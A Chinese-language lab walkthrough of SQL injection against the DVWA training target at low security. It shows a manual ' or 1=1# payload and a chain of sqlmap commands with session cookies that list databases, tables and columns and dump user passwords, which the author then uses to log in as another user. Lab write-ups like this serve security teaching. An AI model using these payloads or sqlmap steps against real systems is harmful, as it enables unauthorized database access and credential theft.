1.
使用dvwa靶机进行sql注入实战(注:当前靶机安全级别为low)
打开sql漏洞,发现输入不同的数字会返回不同的信息,
先尝试手工判断是否存在sql注入
一般sql注入语句像这样,我们构造的是后面两个单引号里面的内容
select * from users where userid='*'
输入:
' or 1=1#
前面一个单引号闭合了查询语句自带的第一个单引号,
or 1=1 使得结果永远为真,
#则是用来让查询忽略后面连接的内容,--和#的作用相同
看到它的确返回了全部内容
这次我们来试试它会不会报错
提交报错以后出现:
结合上面的内容我们可以判断这里是存在注入点的
2.
这里我的sqlmap是已经装好的
sqlmap需要python环境才能运行(kali自带sqlmap,或者也可以windows环境下安装)
windows下安装教程:
https://blog.csdn.net/lijia111111/article/details/54755009
cmd里面打开sqlmap
这里先别急着粘贴url,因为登陆dvwa靶机需要用户名和密码,所以会有cookie的存在。
我们需要浏览器插件查看cookie(推荐使用火狐浏览器)
这些就是当前页面的cookie,需要放到sqlmap注入语句后面
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --dbs
这里简单解释一下:--batch自动选择yes or no;--dbs显示全部数据库
结果:
我们只用进dvwa数据库查看
列出所有表名:
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa --tables
这里只看users
列出所有字段名:
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users --columns
查看password和user:
python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users -C password,user --dump
拿到用户名和密码了,回到dvwa登陆页面试试看
登陆成功
左下角也显示当前用户是pablo而不是admin